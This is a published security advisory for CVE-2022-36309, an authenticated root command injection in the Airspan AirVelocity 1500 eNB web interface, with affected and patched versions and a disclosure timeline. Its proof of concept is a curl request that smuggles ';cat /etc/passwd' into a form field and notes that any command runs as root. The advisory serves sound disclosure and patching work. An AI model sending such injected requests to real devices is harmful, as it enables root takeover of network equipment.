Airspan web UI root command injection

Moderate vladionescu published GHSA-p295-2jh6-g6g4 on Jul 20

Package

AirVelocity 1500 eNB (Airspan)

Affected versions

9.3.0.01249

Patched versions

15.18.00.2511

Description

Vulnerability Description

The `recoverySubmit.cgi` CGI script, which runs as root, has a command injection vulnerability. An attacker needs to be authenticated to the web UI to exploit this, which can be done as shown below. There are quite possibly other CGI scripts with similar vulnerabilities; we did not exhaustively enumerate all of them after finding the first.

Proof of Concept

```
DEVICE_HOST=<device hostname or ip>
WEB_PW=<air4gweb password>

curl -i \
  -u "air4gweb:$WEB_PW" -k \
  "https://$DEVICE_HOST/cgi-bin/recoverySubmit.cgi" \
  --data-raw 'ActiveBank=&=;cat /etc/passwd'
```

`cat /etc/passwd` can be replaced with any other command, which will run as root. The command's output will be returned in the HTTP response before the HTTP headers.

Fix

Airspan released version 15.18.00.2511 in early June which we verified fixes this issue.

Timeline

Reported: March 17, 2022
Fix: June 2, 2022
Published: July 20, 2022

Severity

Moderate

CVE ID

CVE-2022-36309

Weaknesses

CWE-78

Credits

 tchebb